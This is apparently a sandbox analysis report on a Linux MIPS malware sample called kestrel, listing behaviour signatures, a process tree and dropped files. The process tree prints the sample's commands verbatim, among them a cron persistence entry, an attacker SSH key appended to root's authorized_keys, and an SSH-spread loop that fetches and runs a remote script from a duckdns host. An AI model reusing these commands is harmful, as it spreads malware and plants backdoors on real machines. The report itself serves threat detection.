Analysis

  • max time kernel
    123s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02/12/2026, 18:24

General

  • Target
    mips.elf
  • Size 436KB
  • Sample261202-w15d1aex9v
  • SHA256 6ad6b5f699ed0c76a6f5ac62123e6aed05d224e1796a6a10abd1a8ef151a99a6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies the dynamic linker configuration file 2 TTPs 1 IoCs

    Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.

  • Adds new SSH keys 1 TTPs 1 IoCs

    Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Checks hardware identifiers (DMI) 1 TTPs 2 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Creates/modifies Cron job 1 TTPs 4 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Creates/modifies environment variables 1 TTPs 2 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 2 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads MAC address of network interface 2 TTPs 2 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

  • Reads hardware information 1 TTPs 2 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Removes the immutable protection flag from a file 1 TTPs 2 IoCs

    Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

  • Write file to user bin folder 2 IoCs
  • Modifies Bash startup script 2 TTPs 2 IoCs
  • Changes its process name 3 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 15 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to shm directory 2 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/mips.elf
    /tmp/mips.elf
    1⤵
    • Modifies the dynamic linker configuration file
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Checks hardware identifiers (DMI)
    • Creates/modifies Cron job
    • Creates/modifies environment variables
    • Modifies init.d
    • Modifies rc script
    • Modifies systemd
    • Reads MAC address of network interface
    • Reads hardware information
    • Write file to user bin folder
    • Modifies Bash startup script
    • Changes its process name
    • Checks CPU configuration
    • Reads system network configuration
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • System Network Configuration Discovery
    • Writes file to shm directory
    • Writes file to tmp directory
    PID:726
    • /bin/sh
      sh -c "sysctl -w net.core.wmem_max=268435456 net.core.wmem_default=2097152 >/dev/null 2>&1"
      2⤵
        PID:734
        • /sbin/sysctl
          sysctl -w "net.core.wmem_max=268435456" "net.core.wmem_default=2097152"
          3⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:736
      • /bin/sh
        sh -c "sysctl -w net.core.rmem_max=268435456 >/dev/null 2>&1"
        2⤵
          PID:744
          • /sbin/sysctl
            sysctl -w "net.core.rmem_max=268435456"
            3⤵
            • Reads CPU attributes
            • Reads runtime system information
            PID:745
        • /bin/sh
          sh -c "chattr -i /etc/cron.d/kestrel /etc/cron.d/milkd /etc/init.d/kestrel /etc/systemd/system/kestrel.service /etc/rc.local 2>/dev/null"
          2⤵
            PID:748
            • /usr/bin/chattr
              chattr -i /etc/cron.d/kestrel /etc/cron.d/milkd /etc/init.d/kestrel /etc/systemd/system/kestrel.service /etc/rc.local
              3⤵
              • Removes the immutable protection flag from a file
              PID:750
          • /bin/sh
            sh -c "(crontab -l 2>/dev/null | grep -v .kestrel; echo '@reboot /tmp/.kestrel vps >/dev/null 2>&1 &') | crontab - 2>/dev/null"
            2⤵
              PID:754
              • /usr/bin/crontab
                crontab -l
                3⤵
                • Reads runtime system information
                PID:758
              • /usr/bin/crontab
                crontab -
                3⤵
                • Creates/modifies Cron job
                • Reads runtime system information
                PID:757
              • /bin/grep
                grep -v .kestrel
                3⤵
                  PID:759
              • /bin/sh
                sh -c "mkdir -p /root/.ssh 2>/dev/null; chmod 700 /root/.ssh 2>/dev/null; grep -q 'IFs/EDd76mDd3' /root/.ssh/authorized_keys 2>/dev/null || echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFs/EDd76mDd3JLxIWEY6LEblRCkY38GUU0aB7qK2m/l mac' >> /root/.ssh/authorized_keys 2>/dev/null; chmod 600 /root/.ssh/authorized_keys 2>/dev/null"
                2⤵
                • Adds new SSH keys
                PID:762
                • /bin/mkdir
                  mkdir -p /root/.ssh
                  3⤵
                  • Reads runtime system information
                  PID:763
                • /bin/chmod
                  chmod 700 /root/.ssh
                  3⤵
                    PID:764
                  • /bin/grep
                    grep -q IFs/EDd76mDd3 /root/.ssh/authorized_keys
                    3⤵
                      PID:766
                    • /bin/chmod
                      chmod 600 /root/.ssh/authorized_keys
                      3⤵
                        PID:768
                    • /bin/sh
                      sh -c "for k in /root/.ssh/id_rsa /root/.ssh/id_ed25519 /root/.ssh/id_dsa /root/.ssh/id_ecdsa; do [ -f \"\$k\" ] || continue; for h in \$(grep -oE '^[^ ,]+' /root/.ssh/known_hosts 2>/dev/null | grep -v '^|' | head -25); do ssh -i \"\$k\" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 -o BatchMode=yes root@\"\$h\" 'wget -q -T 15 http://elwqelwqele.duckdns.org/l.sh -O /tmp/.s 2>/dev/null && sh /tmp/.s ssh-spread' 2>/dev/null & done; done"
                      2⤵
                      • Removes the immutable protection flag from a file
                      PID:778
                    • /bin/sh
                      sh -c "echo KESTREL_OK > /tmp/kran "
                      2⤵
                      • Writes file to tmp directory
                      PID:780
                    • /bin/sh
                      sh -c "echo KESTREL_OK > /tmp/kran "
                      2⤵
                      • Writes file to tmp directory
                      PID:857
                    • /bin/sh
                      sh -c "echo KESTREL_OK > /tmp/kran "
                      2⤵
                      • Writes file to tmp directory
                      PID:865
                    • /bin/sh
                      sh -c "echo KESTREL_OK > /tmp/kran "
                      2⤵
                      • Writes file to tmp directory
                      PID:866
                    • /bin/sh
                      sh -c "echo KESTREL_OK > /tmp/kran "
                      2⤵
                      • Writes file to tmp directory
                      PID:867
                  • /var/tmp/.kestrelw
                    .kestrelw kestrel --g
                    1⤵
                    • Modifies Watchdog functionality
                    • Changes its process name
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:730

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        kestrel

                        • Path /etc/cron.d/kestrel
                        • Size 31B
                        • SHA256 1571a9ca30455f8d3b7caea509a1f81ecc533bd298f6151a05a2777a1d7bd1dc
                        • MD5 SHA1 SHA512

                        milkd

                        • Path /etc/cron.d/milkd
                        • Size 40B
                        • SHA256 15f4eafa0a5dff8bc5abc2eda99acc1a9fc124094e2b8a22b961cfb55aaf9c8b
                        • MD5 SHA1 SHA512

                        kestrel

                        • Path /etc/init.d/kestrel
                        • Size 93B
                        • SHA256 f6c9a7c4f3cc8adb27ad26929d517e383f338d4d9eb5c7f742de7d6f9c7dcbf1
                        • MD5 SHA1 SHA512 TLSH

                        inittab

                        • Path /etc/inittab
                        • Size 28B
                        • SHA256 9ee710459c00ae38c846a638c136de388e86878ca1b9219410845f62b3d77d54
                        • MD5 SHA1 SHA512

                        mdev.conf

                        • Path /etc/mdev.conf
                        • Size 38B
                        • SHA256 42e19f680bda9bbcef40bde10b2f30d60acc4c645213d5d39f72029597306b28
                        • MD5 SHA1 SHA512

                        rc.local

                        • Path /etc/rc.local
                        • Size 50B
                        • SHA256 61501961def7d0714778a46c972c85671a2ae7b17cfdcd529a02266126d97a69
                        • MD5 SHA1 SHA512 TLSH

                        kestrel.service

                        • Path /etc/systemd/system/kestrel.service
                        • Size 152B
                        • SHA256 5ab0466ad81c468814e7ac2f3ac3a4590de2d2b0db1102df63972a4e809da4f5
                        • MD5 SHA1 SHA512 TLSH

                        milkd.service

                        • Path /etc/systemd/system/milkd.service
                        • Size 158B
                        • SHA256 86ff83d23ae9a0a92638932d76ed827b81d5b2f0b8d1cfbfe4cdd7d40581324a
                        • MD5 SHA1 SHA512 TLSH

                        99-kestrel.rules

                        • Path /etc/udev/rules.d/99-kestrel.rules
                        • Size 40B
                        • SHA256 8820d37b388a210db7df04aa89aeb9b94ccd1bcccbb7e4c40d1738f4c298ec85
                        • MD5 SHA1 SHA512

                        libhide.so

                        • Path /lib/libhide.so
                        • Size 2KB
                        • SHA256 0add9f83fa68883dd304863b9ab43e07572788998ad2200454fc81cf08496883
                        • MD5 SHA1 SHA512 TLSH

                        authorized_keys

                        • Path /root/.ssh/authorized_keys
                        • Size 85B
                        • SHA256 64f493fe7684dcee0ad3e3d5f07d4aafd1c6811341eff4dab9ad6f46b46f654f
                        • MD5 SHA1 SHA512 TLSH

                        .gk

                        • Path /tmp/.gk
                        • Size 17B
                        • SHA256 1b3d46db808c940984af33ecac029c80406e560c2ac27c278259289d55dc593f
                        • MD5 SHA1 SHA512

                        .kestrel

                        • Path /tmp/.kestrel
                        • Size 436KB
                        • SHA256 265a6083208aaa5ab3b1f2c4ccdadc46a1c23f2f7362fe91f6c31bb411bb5d1d
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        .kestrel

                        • Path /tmp/.kestrel
                        • Size 436KB
                        • SHA256 6ad6b5f699ed0c76a6f5ac62123e6aed05d224e1796a6a10abd1a8ef151a99a6
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        .kestrel

                        • Path /tmp/.kestrel
                        • Size 432KB
                        • SHA256 6aac1dcd90170d26dba4a551ea66b9518a04231010934e19499a1ab923745c15
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        .kestrel

                        • Path /tmp/.kestrel
                        • Size 436KB
                        • SHA256 d5d2c3a8929c55499d02ec2c9c2391bef465bf4512eefdad59b75bebeeed1ea0
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        .kestrel.tag

                        • Path /tmp/.kestrel.tag
                        • Size 8B
                        • SHA256 c21f79a26782f9c0109b3804c92fa2662bf3bb14a12a15c6057ef2ee57131b54
                        • MD5 SHA1 SHA512

                        .kestrelw.pid

                        • Path /tmp/.kestrelw.pid
                        • Size 4B
                        • SHA256 fc96eeededcd856d2297f8dd9045fd5d6a31f83b9115379bd1408ff16de76535
                        • MD5 SHA1 SHA512

                        kran

                        • Path /tmp/kran
                        • Size 11B
                        • SHA256 8860553ea0cacad0585c84a5bdc7a0bf0d9456504de5b4f9e9c427552b7ea3b9
                        • MD5 SHA1 SHA512

                        tmp.6fHKVt

                        • Path /var/spool/cron/crontabs/tmp.6fHKVt
                        • Size 219B
                        • SHA256 002f32a28131684e8e0ef48b784a43a3154d3beece67af69c5466dfa152f19cc
                        • MD5 SHA1 SHA512 TLSH